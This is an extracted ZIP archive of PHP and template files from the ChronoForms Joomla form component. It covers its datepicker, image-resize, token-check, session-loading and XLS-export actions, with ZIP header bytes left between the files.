return array('action_params' => $action_params); } function group_exists($user, $groups){ $jversion = new JVersion(); if($jversion->RELEASE > 1.5){ if(!empty($user->groups)){ foreach($user->groups as $kg => $group){ if(in_array((int)$group, $groups, true)){ //$this->events['allowed'] = 1; return true; } } } }else{ if(in_array((int)$user->gid, $groups, true)){ //$this->events['allowed'] = 1; return true; } } return false; } function get_groups_list(){ /*if(isset($this->users_groups) && !empty($this->users_groups)){ return $this->users_groups; }*/ static $users_groups; if(!isset($users_groups)){ $users_groups = array(); }else{ return $users_groups; } $jversion = new JVersion(); $database = JFactory::getDBO(); if($jversion->RELEASE > 1.5){ $query = "SELECT * FROM `#__usergroups` ORDER BY `lft`"; $database->setQuery($query); $users_groups = $groups = $database->loadAssocList(); }else{ $query = "SELECT * FROM `#__core_acl_aro_groups`"; $database->setQuery($query); $users_groups = $groups = $database->loadAssocList(); } return $groups; } function get_goptions_list($groups){ $jversion = new JVersion(); $options = array(); foreach($groups as $group){ //$options[$group->id] = $group->title; $child_path = $this->get_parent_path($group, $groups); $depth = count($child_path); array_shift($child_path); foreach($child_path as $k => $p){ $child_path[$k] = '|—'; } if($jversion->RELEASE > 1.5){ $options[$group['id']] = implode('', $child_path).$group['title']; }else{ $options[$group['id']] = implode('', $child_path).$group['name']; } } return $options; } function get_parent_path($m_group, $groups, &$return = array()){ if(empty($return)){ if($m_group['id'] == 1){ return array(1); }else{ $return[] = (int)$m_group['id']; } } foreach($groups as $group){ if((int)$group['id'] == (int)$m_group['parent_id']){ $return[] = (int)$group['id']; if((int)$group['id'] == 1){ break; }else{ $return = $this->get_parent_path($group, $groups, $return); } } } return $return; } function get_child_path($m_group, $groups, &$return = array()){ if(empty($return)){ $return[] = (int)$m_group['id']; } $children = array(); foreach($groups as $group){ if(((int)$group['parent_id'] == (int)$m_group['id']) && !in_array((int)$group['id'], $return)){ $return[] = (int)$group['id']; $children[] = $group; //$return = $this->get_child_path($group, $groups, $return); } } foreach($children as $child){ $return = $this->get_child_path($child, $groups, $return); } return $return; } } ?>PKs>\)4com_chronoforms/form_actions/authenticator/.htaccessnuW+A Order allow,deny Deny from all PKs>\5com_chronoforms/form_actions/authenticator/index.htmlnuW+APKs>\)<com_chronoforms/form_actions/custom_datepicker_moo/.htaccessnuW+A Order allow,deny Deny from all PKs>\ =com_chronoforms/form_actions/custom_datepicker_moo/index.htmlnuW+A PKs>\ KLcom_chronoforms/form_actions/custom_datepicker_moo/custom_datepicker_moo.phpnuW+A 'Custom Mootools Datepicker', 'tooltip' => 'Load a custom Mootools Datepicker class.'); var $group = array('id' => 'power_fields', 'title' => 'Power Fields'); function load($clear){ if($clear){ $action_params = array( 'field_class' => '', 'pickerClass' => 'datepicker_dashboard', 'format' => '%d-%m-%Y %H:%M:%S', 'allowEmpty' => 1, 'timePicker' => 1, 'pickOnly' => '', 'content1' => '', ); } return array('action_params' => $action_params); } function run($form, $actiondata){ } } ?>PKs>\YvUcom_chronoforms/form_actions/custom_datepicker_moo/cfaction_custom_datepicker_moo.ctpnuW+Aload($form, $actiondata); ?>PKs>\' f  Lcom_chronoforms/form_actions/custom_datepicker_moo/custom_datepicker_moo.ctpnuW+A
      Custom Mootools Datepicker
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'custom_datepicker_moo_config_{n}'); ?> tabStart('settings'); ?> input('action_custom_datepicker_moo_{n}_field_class_config', array('type' => 'text', 'label' => "Field Class", 'class' => 'medium_input', 'smalldesc' => "The class name assigned to the field(s) which will be used as date field.")); ?> input('action_custom_datepicker_moo_{n}_pickerClass_config', array('type' => 'select', 'label' => "Picker Style", 'options' => array('datepicker_dashboard' => 'DashBoard', 'datepicker_jqui' => 'JQUI', 'datepicker_vista' => 'Vista'), 'smalldesc' => "The class for the picker itself, will control how the calendar looks like.")); ?> input('action_custom_datepicker_moo_{n}_format_config', array('type' => 'text', 'label' => "Date format shown", 'class' => 'medium_input', 'smalldesc' => "The format shown inside the visible field for the user in the form.")); ?> input('action_custom_datepicker_moo_{n}_allowEmpty_config', array('type' => 'select', 'label' => 'Allow Empty ?', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Allow the field to be empty, will load the field with empty value.')); ?> input('action_custom_datepicker_moo_{n}_timePicker_config', array('type' => 'select', 'label' => 'Load Time picker ?', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Load the time picker after selecting a date ?')); ?> input('action_custom_datepicker_moo_{n}_pickOnly_config', array('type' => 'select', 'label' => 'Pick Only', 'options' => array(0 => 'Disabled', 'time' => 'Time', 'days' => 'Days', 'months' => 'Months', 'years' => 'Years'), 'smalldesc' => 'Should this date field pick some specific data only ?')); ?> input('action_custom_datepicker_moo_{n}_content1_config', array('type' => 'textarea', 'label' => "Extra options extension", 'rows' => 10, 'cols' => 50, 'smalldesc' => "Add extra picker options here, e.g:
      days: ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'], startView: 'decades'")); ?> tabEnd(); ?> tabStart('help'); ?>

      • Add your fields class then start configuring your picker.
      • All picker options and config are available here:
        http://mootools.net/forge/p/mootools_datepicker

      tabEnd(); ?>
      PKs>\RF. Ucom_chronoforms/form_actions/custom_datepicker_moo/cfaction_custom_datepicker_moo.phpnuW+Aparams); $document = JFactory::getDocument(); JHTML::_('behavior.mootools'); $mainframe = JFactory::getApplication(); $uri = JFactory::getURI(); //check picker types $jversion = new JVersion(); $script = ""; if(($jversion->RELEASE > 1.5) && $form->form_params->get('datepicker_type', 0) == 1){ $cf_url = $uri->root(); $cf_url .= 'components/com_chronoforms/js/datepicker_moo/'; // you can change the uncommented line here to change the style $datepicker_style = $params->get('pickerClass', 'datepicker_dashboard'); $document->addStyleSheet($cf_url.$datepicker_style.'/'.$datepicker_style.'.css'); $document->addScript($cf_url.'Locale.en-US.DatePicker.js'); $document->addScript($cf_url.'Picker.js'); $document->addScript($cf_url.'Picker.Attach.js'); $document->addScript($cf_url.'Picker.Date.js'); if((bool)$params->get('pickOnly', 0) === false){ $pickOnly = 'false'; }else{ $pickOnly = "'".$params->get('pickOnly', 0)."'"; } $con_str = "$$('.".$params->get('field_class', 'cf_datetime_picker')."'), {pickerClass: '".$params->get('pickerClass', 'datepicker_dashboard')."', format: '".$params->get('format', 'd-m-Y H:i:s')."', allowEmpty: ".$params->get('allowEmpty', 'true').", timePicker: ".$params->get('timePicker', 'true').", pickOnly: ".$pickOnly.""; $pickerClass = "Picker.Date"; ob_start(); eval('?>'.$actiondata->content1); $actiondata->content1 = ob_get_clean(); if(!empty($actiondata->content1)){ $con_str .= ", ".$actiondata->content1; $con_str .= "}"; }else{ $con_str .= "}"; } ob_start(); ?> window.addEvent('load', function() { new (); }); form_params->get('dynamic_files', 0) === false){ $document->addScriptDeclaration("//"); }else{ //load the action class $form->loadActionHelper('load_js'); $CfactionLoadJsHelper = new CfactionLoadJsHelper(); $JSactiondata = new stdClass(); $JSactiondata->content1 = $script; $JSParams = new JParameter(''); $JSParams->set('dynamic_file', $form->form_params->get('dynamic_files', 0)); $JSactiondata->params = $JSParams->toString(); $CfactionLoadJsHelper->load($form, $JSactiondata); } } } ?>PKs>\++:com_chronoforms/form_actions/image_resize/image_resize.phpnuW+A 'form_utilities', 'title' => 'Utilities'); var $details = array('title' => 'Image Resize', 'tooltip' => 'Do some images resizing operations.'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $mainframe = JFactory::getApplication(); //set the images path $upload_path = $params->get('upload_path', ''); if(!empty($upload_path)){ $upload_path = str_replace(array("/", "\\"), DS, $upload_path); if(substr($upload_path, -1) == DS){ $upload_path = substr_replace($upload_path, '', -1); } $upload_path = str_replace("JOOMLA_PATH", JPATH_SITE, $upload_path).DS; $params->set('upload_path', $upload_path); }else{ $upload_path = JPATH_SITE.DS.'components'.DS.'com_chronoforms'.DS.'uploads'.DS.$form->form_details->name.DS; } $image_file_name = $params->get('photo', ''); if(strpos($image_file_name, ',') !== false){ $image_file_names = explode(',', $image_file_name); }else{ $image_file_names = array($image_file_name); } foreach($image_file_names as $image_file_name){ //stop if the field name is not set or if the file data doesn't exist //if((strlen($image_file_name) == 0) || !isset($form->data[$image_file_name]) || !isset($form->files[$image_file_name]['path'])){ if((strlen($image_file_name) == 0) || !isset($form->files[$image_file_name])){ continue; } if($form->files[$image_file_name] === array_values($form->files[$image_file_name])){ //array of files $reset = false; }else{ $form->files[$image_file_name] = array($form->files[$image_file_name]); $reset = true; } foreach($form->files[$image_file_name] as $k => $image){ // Common parameters $photo = $image['name'];//$form->data[$image_file_name]; $filein = $image['path']; $file_info = pathinfo($filein); $form->debug['Image_Resize'][$actiondata->order]['thumb_big'] = $form->files[$image_file_name][$k]['thumb_big'] = $this->processSize('big', $form, $actiondata, $photo, $filein, $upload_path, $file_info); // treatment of the medium image $form->debug['Image_Resize'][$actiondata->order]['thumb_med'] = $form->files[$image_file_name][$k]['thumb_med'] = $this->processSize('med', $form, $actiondata, $photo, $filein, $upload_path, $file_info); // treatment of the small image $form->debug['Image_Resize'][$actiondata->order]['thumb_small'] = $form->files[$image_file_name][$k]['thumb_small'] = $this->processSize('small', $form, $actiondata, $photo, $filein, $upload_path, $file_info); if($params->get('delete_original')){ unlink($filein); } } if($reset){ $form->files[$image_file_name] = $form->files[$image_file_name][0]; } } } function processSize($size = 'big', $form, $actiondata, $photo, $filein, $upload_path, $file_info){ $params = new JParameter($actiondata->params); $quality = $params->get('quality', 90); $dir = ''; if($params->get($size.'_directory', '')){ $dir .= $params->get($size.'_directory', ''); } else { $dir .= $upload_path; } // add a final slash if needed if(substr($dir, -1) != DS){ $dir .= DS; } $fileout = $dir.$params->get($size.'_image_prefix', '').str_replace('.'.$file_info['extension'], '', $photo).$params->get($size.'_image_suffix', '').'.'.$file_info['extension']; $crop = $params->get($size.'_image_method', 0); $imagethumbsize_w = $params->get($size.'_image_width', 400); $imagethumbsize_h = $params->get($size.'_image_height', 300); $red = $params->get($size.'_image_r', 255); $green = $params->get($size.'_image_g', 255); $blue = $params->get($size.'_image_b', 255); $use = $params->get($size.'_image_use', 0); if($size == 'big'){ $use = true; } if($use){ if($crop){ $this->resizeThenCrop($filein, $fileout, $imagethumbsize_w, $imagethumbsize_h, $red, $green, $blue, $quality); }else{ $this->resize($filein, $fileout, $imagethumbsize_w, $imagethumbsize_h, $red, $green, $blue, $quality); } return $params->get($size.'_image_prefix', '').str_replace('.'.$file_info['extension'], '', $photo).$params->get($size.'_image_suffix', '').'.'.$file_info['extension']; } return null; } function resizeThenCrop( $filein, $fileout, $imagethumbsize_w, $imagethumbsize_h, $red, $green, $blue, $quality ) { // Cacul des nouvelles dimensions list($width, $height) = getimagesize($filein); //$new_width = $width * $percent; //$new_height = $height * $percent; if ( preg_match("/.jpg/i", "$filein") || preg_match("/.jpeg/i", "$filein") ) { $format = 'image/jpeg'; } elseif ( preg_match("/.gif/i", "$filein") ) { $format = 'image/gif'; } else if( preg_match("/.png/i", "$filein") ) { $format = 'image/png'; } switch($format) { case 'image/jpeg': $image = imagecreatefromjpeg($filein); break; case 'image/gif'; $image = imagecreatefromgif($filein); break; case 'image/png': $image = imagecreatefrompng($filein); break; } $width = $imagethumbsize_w ; $height = $imagethumbsize_h ; list($width_orig, $height_orig) = getimagesize($filein); if ( $width_orig < $height_orig ) { $height = ($imagethumbsize_w / $width_orig) * $height_orig; } else { $width = ($imagethumbsize_h / $height_orig) * $width_orig; } if ( $width < $imagethumbsize_w ) { // If the image width is less than the thumbnail $width = $imagethumbsize_w; $height = ($imagethumbsize_w / $width_orig) * $height_orig; } if ( $height < $imagethumbsize_h ) { // If the image height is less than the thumbnail $height = $imagethumbsize_h; $width = ($imagethumbsize_h / $height_orig) * $width_orig; } $thumb = imagecreatetruecolor($width , $height); $bgcolor = imagecolorallocate($thumb, $red, $green, $blue); ImageFilledRectangle($thumb, 0, 0, $width, $height, $bgcolor); imagealphablending($thumb, true); imagecopyresampled($thumb, $image, 0, 0, 0, 0, $width, $height, $width_orig, $height_orig); $thumb2 = imagecreatetruecolor($imagethumbsize_w , $imagethumbsize_h); // true color for better quality $bgcolor = imagecolorallocate($thumb2, $red, $green, $blue); ImageFilledRectangle($thumb2, 0, 0, $imagethumbsize_w, $imagethumbsize_h, $bgcolor); imagealphablending($thumb2, true); $w1 = ($width / 2) - ($imagethumbsize_w / 2); $h1 = ($height / 2) - ($imagethumbsize_h / 2); imagecopyresampled($thumb2, $thumb, 0, 0, $w1, $h1,$imagethumbsize_w, $imagethumbsize_h, $imagethumbsize_w, $imagethumbsize_h); // create the file switch($format) { case 'image/jpeg': imagejpeg($thumb2, $fileout, $quality); break; case 'image/gif'; imagegif($thumb2, $fileout); break; case 'image/png': imagepng($thumb2, $fileout); break; } } function resize( $filein, $fileout, $imagethumbsize_w, $imagethumbsize_h, $red, $green, $blue, $quality ) { // Cacul des nouvelles dimensions list($width_orig, $height_orig) = getimagesize($filein); if ( preg_match("/.jpg/i", "$filein") || preg_match("/.jpeg/i", "$filein") ) { $format = 'image/jpeg'; } if ( preg_match("/.gif/i", "$filein") ) { $format = 'image/gif'; } if ( preg_match("/.png/i", "$filein") ) { $format = 'image/png'; } switch ( $format ) { case 'image/jpeg': $image = imagecreatefromjpeg($filein); break; case 'image/gif'; $image = imagecreatefromgif($filein); break; case 'image/png': $image = imagecreatefrompng($filein); break; } $ratio_orig = $width_orig/$height_orig; if ($imagethumbsize_w/$imagethumbsize_h > $ratio_orig) { $imagethumbsize_w = $imagethumbsize_h*$ratio_orig; } else { $imagethumbsize_h = $imagethumbsize_w/$ratio_orig; } // Redimensionnement $thumb3 = imagecreatetruecolor($imagethumbsize_w, $imagethumbsize_h); $bgcolor = imagecolorallocate($thumb3, $red, $green, $blue); ImageFilledRectangle($thumb3, 0 ,0 ,$imagethumbsize_w, $imagethumbsize_h, $bgcolor); imagealphablending($thumb3, true); imagecopyresampled($thumb3, $image, 0, 0, 0, 0, $imagethumbsize_w, $imagethumbsize_h, $width_orig, $height_orig); switch ( $format ) { case 'image/jpeg': imagejpeg($thumb3, $fileout, $quality); // on cree le fichier break; case 'image/gif'; imagegif($thumb3, $fileout); // on cree le fichier break; case 'image/png': imagepng($thumb3, $fileout); // on cree le fichier break; } } function load($clear){ if($clear){ $action_params = array( 'photo' => '', 'delete_original' => 0, 'quality' => 90, 'big_directory' => '', 'big_image_use' => '1', 'big_image_prefix' => '', 'big_image_suffix' => '_big', 'big_image_height' => '300', 'big_image_width' => '400', 'big_image_r' => '255', 'big_image_g' => '255', 'big_image_b' => '255', 'big_image_method' => '0', 'med_directory' => '', 'med_image_use' => '0', 'med_image_prefix' => '', 'med_image_suffix' => '_med', 'med_image_height' => '300', 'med_image_width' => '400', 'med_image_r' => '255', 'med_image_g' => '255', 'med_image_b' => '255', 'med_image_method' => '0', 'small_image_use' => '0', 'small_directory' => '', 'small_image_prefix' => '', 'small_image_suffix' => '_small', 'small_image_height' => '300', 'small_image_width' => '400', 'small_image_r' => '255', 'small_image_g' => '255', 'small_image_b' => '255', 'small_image_method' => '0' ); } return array('action_params' => $action_params); } } ?>PKs>\)3com_chronoforms/form_actions/image_resize/.htaccessnuW+A Order allow,deny Deny from all PKs>\ 4com_chronoforms/form_actions/image_resize/index.htmlnuW+A PKs>\AfJ ; ;:com_chronoforms/form_actions/image_resize/image_resize.ctpnuW+A
      Image Resize
      Header(array('settings' => 'General', 'medium_image' => 'Medium Image', 'small_image' => 'Small Image'), 'image_resize_config_{n}'); ?> tabStart('settings'); ?> input('action_image_resize_{n}_delete_original_config', array('type' => 'select', 'label' => 'Delete Original', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Delete the original image from the upload directory')); ?> input('action_image_resize_{n}_photo_config', array('type' => 'text', 'label' => 'Image field name', 'class' => 'medium_input', 'value' => '')); ?> input('action_image_resize_{n}_quality_config', array('type' => 'text', 'label' => 'Output image(s) quality', 'class' => 'medium_input', 'smalldesc' => 'set the quality of ouput jpg images')); ?> input('action_image_resize_{n}_big_directory_config', array('type' => 'text', 'label' => 'Big image directory', 'class' => 'medium_input', 'smalldesc' => 'Directory where the file will be stored. Don\'t forget the slash at the end ;-) e.g. images/stories/
      If you leave this empty it will default to the Form file uploads folder.')); ?> input('action_image_resize_{n}_big_image_prefix_config', array('type' => 'text', 'label' => 'Big image name prefix', 'class' => 'medium_input', 'smalldesc' => 'The prefix for the created image name e.g. big_')); ?> input('action_image_resize_{n}_big_image_suffix_config', array('type' => 'text', 'label' => 'Big image name suffix', 'class' => 'medium_input', 'smalldesc' => 'The suffix for the created image name e.g. _big')); ?> input('action_image_resize_{n}_big_image_height_config', array('type' => 'text', 'label' => 'Big image height', 'class' => 'medium_input', 'value' => '')); ?> input('action_image_resize_{n}_big_image_width_config', array('type' => 'text', 'label' => 'Big image width', 'class' => 'medium_input', 'value' => '')); ?> input('action_image_resize_{n}_big_image_r_config', array('type' => 'text', 'label' => 'Big image R color', 'class' => 'medium_input', 'smalldesc' => 'Alpha channel for png transparency. RGB color of the background.')); ?> input('action_image_resize_{n}_big_image_g_config', array('type' => 'text', 'label' => 'Big image G color', 'class' => 'medium_input', 'smalldesc' => 'Alpha channel for png transparency. RGB color of the background.')); ?> input('action_image_resize_{n}_big_image_b_config', array('type' => 'text', 'label' => 'Big image B color', 'class' => 'medium_input', 'smalldesc' => 'Alpha channel for png transparency. RGB color of the background.')); ?> input('action_image_resize_{n}_big_image_method_config', array('type' => 'select', 'label' => 'Big image processing method', 'options' => array(0 => 'Resize', 1 => 'Resize & Crop'), 'smalldesc' => 'The way your images will be generated (either scale or crop)')); ?> tabEnd(); ?> tabStart('medium_image'); ?> input('action_image_resize_{n}_med_image_use_config', array('type' => 'select', 'label' => 'Enable Medium image', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Should we generate a medium sized image ?')); ?> input('action_image_resize_{n}_med_directory_config', array('type' => 'text', 'label' => 'Medium image directory', 'class' => 'medium_input', 'smalldesc' => 'Directory where the file will be stored. Don\'t forget the slash at the end ;-) e.g. images/stories/
      If you leave this empty it will default to the Form file uploads folder.')); ?> input('action_image_resize_{n}_med_image_prefix_config', array('type' => 'text', 'label' => 'Medium image name prefix', 'class' => 'medium_input', 'smalldesc' => 'The prefix for the created image name e.g. med_')); ?> input('action_image_resize_{n}_med_image_suffix_config', array('type' => 'text', 'label' => 'Medium image name suffix', 'class' => 'medium_input', 'smalldesc' => 'The suffix for the created image name e.g. _med')); ?> input('action_image_resize_{n}_med_image_height_config', array('type' => 'text', 'label' => 'Medium image height', 'class' => 'medium_input', 'value' => '')); ?> input('action_image_resize_{n}_med_image_width_config', array('type' => 'text', 'label' => 'Medium image width', 'class' => 'medium_input', 'value' => '')); ?> input('action_image_resize_{n}_med_image_r_config', array('type' => 'text', 'label' => 'Medium image R color', 'class' => 'medium_input', 'smalldesc' => 'Alpha channel for png transparency. RGB color of the background.')); ?> input('action_image_resize_{n}_med_image_g_config', array('type' => 'text', 'label' => 'Medium image G color', 'class' => 'medium_input', 'smalldesc' => 'Alpha channel for png transparency. RGB color of the background.')); ?> input('action_image_resize_{n}_med_image_b_config', array('type' => 'text', 'label' => 'Medium image B color', 'class' => 'medium_input', 'smalldesc' => 'Alpha channel for png transparency. RGB color of the background.')); ?> input('action_image_resize_{n}_med_image_method_config', array('type' => 'select', 'label' => 'Medium image processing method', 'options' => array(0 => 'Resize', 1 => 'Resize & Crop'), 'smalldesc' => 'The way your images will be generated (either scale or crop)')); ?> tabEnd(); ?> tabStart('small_image'); ?> input('action_image_resize_{n}_small_image_use_config', array('type' => 'select', 'label' => 'Enable Small image', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Should we generate a small sized image ?')); ?> input('action_image_resize_{n}_small_directory_config', array('type' => 'text', 'label' => 'Small image directory', 'class' => 'medium_input', 'smalldesc' => 'Directory where the file will be stored. Don\'t forget the slash at the end ;-) e.g. images/stories/
      If you leave this empty it will default to the Form file uploads folder.')); ?> input('action_image_resize_{n}_small_image_prefix_config', array('type' => 'text', 'label' => 'Small image name prefix', 'class' => 'medium_input', 'smalldesc' => 'The prefix for the created image name e.g. small_')); ?> input('action_image_resize_{n}_small_image_suffix_config', array('type' => 'text', 'label' => 'Small image name suffix', 'class' => 'medium_input', 'smalldesc' => 'The suffix for the created image name e.g. _small')); ?> input('action_image_resize_{n}_small_image_height_config', array('type' => 'text', 'label' => 'Small image height', 'class' => 'medium_input', 'value' => '')); ?> input('action_image_resize_{n}_small_image_width_config', array('type' => 'text', 'label' => 'Small image width', 'class' => 'medium_input', 'value' => '')); ?> input('action_image_resize_{n}_small_image_r_config', array('type' => 'text', 'label' => 'Small image R color', 'class' => 'medium_input', 'smalldesc' => 'Alpha channel for png transparency. RGB color of the background.')); ?> input('action_image_resize_{n}_small_image_g_config', array('type' => 'text', 'label' => 'Small image G color', 'class' => 'medium_input', 'smalldesc' => 'Alpha channel for png transparency. RGB color of the background.')); ?> input('action_image_resize_{n}_small_image_b_config', array('type' => 'text', 'label' => 'Small image B color', 'class' => 'medium_input', 'smalldesc' => 'Alpha channel for png transparency. RGB color of the background.')); ?> input('action_image_resize_{n}_small_image_method_config', array('type' => 'select', 'label' => 'Small image processing method', 'options' => array(0 => 'Resize', 1 => 'Resize & Crop'), 'smalldesc' => 'The way your images will be generated (either scale or crop)')); ?> tabEnd(); ?>
      PKs>\ 'com_chronoforms/form_actions/index.htmlnuW+A PKs>\ 3com_chronoforms/form_actions/check_token/index.htmlnuW+A PKs>\_F8com_chronoforms/form_actions/check_token/check_token.ctpnuW+A
      Check Token
      PKs>\)2com_chronoforms/form_actions/check_token/.htaccessnuW+A Order allow,deny Deny from all PKs>\58com_chronoforms/form_actions/check_token/check_token.phpnuW+A 'form_security', 'title' => 'Security'); var $events = array('success' => 0, 'fail' => 0); var $details = array('title' => 'Check Token', 'tooltip' => "Checks the form's security token, simple but a bit effecient security check against low level automated SPAM bots."); function run($form, $actiondata){ $params = new JParameter($actiondata->params); if((!JRequest::checkToken())){ $this->events['fail'] = 1; }else{ $this->events['success'] = 1; } } function load($clear){ if($clear){ $action_params = array( ); } return array('action_params' => $action_params); } } ?>PKs>\)6com_chronoforms/form_actions/session_to_data/.htaccessnuW+A Order allow,deny Deny from all PKs>\`?@com_chronoforms/form_actions/session_to_data/session_to_data.ctpnuW+A
      Session To Data
      input('action_session_to_data_{n}_namespace_config', array('type' => 'text', 'label' => 'Session Namespace', 'class' => 'medium_input', 'smalldesc' => 'The name space to save this session data at, may be useful if you need to save multiple data instances of the same form without being overwritten, leave empty if you dont know what is this.')); ?> input('action_session_to_data_{n}_key_config', array('type' => 'text', 'label' => 'Session Key', 'class' => 'medium_input', 'smalldesc' => 'Load the data stored under this key, leave empty if you did not enter a key in the Data to Session action, it will use the form name by default.')); ?> input('action_session_to_data_{n}_clear_config', array('type' => 'select', 'label' => 'Clear after', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => "Should this session data get cleared after the load.")); ?>
      PKs>\ 7com_chronoforms/form_actions/session_to_data/index.htmlnuW+A PKs>\@com_chronoforms/form_actions/session_to_data/session_to_data.phpnuW+A 'data_operations', 'title' => 'Data/DB Operations'); var $details = array('title' => 'Session To Data', 'tooltip' => 'Load the form data array values from session.'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $mainframe = JFactory::getApplication(); $session = JFactory::getSession(); $session_ns = $params->get('namespace', ''); $session_key = $params->get('key', ''); if(empty($session_key)){ $session_key = $form->form_details->name; } if(empty($session_ns)){ $session_ns = 'default'; } $form->data = array_merge($form->data, $session->get('_chronoform_data_'.$session_key, array(), $session_ns)); //clear the session if the clear option is set to yes if((int)$params->get('clear', 0) == 1){ $session->clear('_chronoform_data_'.$session_key, $session_ns); } } function load($clear){ if($clear){ $action_params = array( 'namespace' => '', 'key' => '', 'clear' => 0 ); } return array('action_params' => $action_params); } } ?>PKs>\R|j 2com_chronoforms/form_actions/xls_export/index.htmlnuW+A PKs>\)1com_chronoforms/form_actions/xls_export/.htaccessnuW+A Order allow,deny Deny from all PKs>\e*q6com_chronoforms/form_actions/xls_export/xls_export.phpnuW+A 'data_export', 'title' => 'Data Export'); var $details = array('title' => 'XLS Export', 'tooltip' => 'Exports the data to XLS sheet (Actually HTML) which is supported by MS Excel.'); function run($form, $actiondata){ $mainframe = JFactory::getApplication(); $session = JFactory::getSession(); $params = new JParameter($actiondata->params); $data_path = trim($params->get('data_path', '')); $data = $form->get_array_value($form->data, explode('.', $data_path)); if(!empty($data) && is_array($data)){ $data = array_values($data); $first_data_record = $data[0]; $list_fields = strlen(trim($params->get('list_fields', ''))) ? explode(',', trim($params->get('list_fields', ''))) : array_keys($first_data_record); $list_headers = strlen(trim($params->get('list_headers', ''))) ? explode(',', trim($params->get('list_headers', ''))) : array_keys($first_data_record); $table_rows = ''; //add headers $table_rows .= ''."\n"; foreach($list_headers as $k => $v){ $table_rows .= ''.$v.''."\n"; } $table_rows .= ''."\n"; //add data rows foreach($data as $record){ $table_rows .= ''."\n"; foreach($record as $k => $v){ if(!in_array($k, $list_fields)){ continue; } $table_rows .= ''.$v.''."\n"; } $table_rows .= ''."\n"; } //finalize table $excel_table = "".$table_rows."
      "; if($params->get('save_file', 0) == 1){ $save_path = JPATH_SITE.DS.'components'.DS.'com_chronoforms'.DS.'exports'.DS.$form->form_details->name.DS; jimport('joomla.filesystem.file'); if (!JFile::exists($save_path.'index.html')){ if(!JFolder::create($save_path)){ $form->debug['XLS Export'][] = "Couldn't create save folder: {$save_path}"; JError::raiseWarning(100, "Couldn't create save folder: {$save_path}"); return; } } if((bool)$params->get('add_bom', 0) === true){ $excel_table = "\xEF\xBB\xBF".$excel_table; } $file_name = $params->get('file_name', 'cf_export.xls'); $saved = file_put_contents($save_path.$file_name, $excel_table); if(empty($saved)){ $form->debug['XLS Export'][] = "Couldn't create XLS file"; JError::raiseWarning(100, "Couldn't create XLS file"); return; } if(strlen($params->get('post_file_name', '')) > 0){ $post_file_name = $params->get('post_file_name', ''); $form->data[$post_file_name] = $file_name; $form->files[$post_file_name] = array('name' => $file_name, 'path' => $save_path.$file_name, 'size' => filesize($save_path.$file_name)); //$form->files[$post_file_name]['link'] = $save_url.$file_name; } }else{ //set headers header("Pragma: public"); header("Expires: 0"); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download");; header("Content-Disposition: attachment;filename=".$params->get('file_name', 'cf_export.xls')); header("Content-Transfer-Encoding: binary"); header('Content-Encoding: UTF-8'); //output data if((bool)$params->get('add_bom', 0) === true){ echo "\xEF\xBB\xBF"; } echo $excel_table; $mainframe = JFactory::getApplication(); $mainframe->close(); } } } function load($clear){ if($clear){ $action_params = array( 'content1' => '', 'enabled' => 1, 'data_path' => '', 'list_fields' => '', 'list_headers' => '', 'add_bom' => 0, 'save_file' => 0, 'post_file_name' => '', 'file_name' => 'cf_export.xls', ); } return array('action_params' => $action_params); } } ?>PKs>\oQ//6com_chronoforms/form_actions/xls_export/xls_export.ctpnuW+A
      XLS Export
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'xls_export_config_{n}'); ?> tabStart('settings'); ?> input('action_xls_export_{n}_data_path_config', array('type' => 'text', 'label' => 'Data Path', 'class' => 'medium_input', 'smalldesc' => 'The path to the Data list in the $form->data array, e.g: MODEL_ID')); ?> input('action_xls_export_{n}_list_fields_config', array('type' => 'text', 'label' => 'Fields list', 'class' => 'big_input', 'smalldesc' => 'Comma separated list of fields to be included, no spaces, leave empty and all fields will be added.')); ?> input('action_xls_export_{n}_list_headers_config', array('type' => 'text', 'label' => 'Headers list', 'class' => 'big_input', 'smalldesc' => 'Comma separated list of headers labels to be included, no spaces, leave empty and data list keys will be used.')); ?> input('action_xls_export_{n}_add_bom_config', array('type' => 'select', 'label' => 'Add BOM', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Add the UTF-8 BOM characters to the output ? this helps MS Excel detect the file as UTF-8 if you have any special characters inside.')); ?> input('action_xls_export_{n}_file_name_config', array('type' => 'text', 'label' => 'File Name', 'class' => 'medium_input', 'smalldesc' => 'The export file name.')); ?> input('action_xls_export_{n}_save_file_config', array('type' => 'select', 'label' => 'Save File', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Should we save the file instead of sending it for download ?')); ?> input('action_xls_export_{n}_post_file_name_config', array('type' => 'text', 'label' => 'Post field Name', 'class' => 'medium_input', 'smalldesc' => 'The saved file field name which can be used in the email attachments.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • The action will generate XLS file contains HTML table which is importable by MS Excel (tested on Excel 2003,2007 and 2010).
      • The records list array should be in your $form->data array, using a DB Multi record loader for example.

      tabEnd(); ?>
      PKs>\5com_chronoforms/form_actions/csv_export_gh/index.htmlnuW+APKs>\" ==<com_chronoforms/form_actions/csv_export_gh/csv_export_gh.ctpnuW+A
      CSV Export [GH]
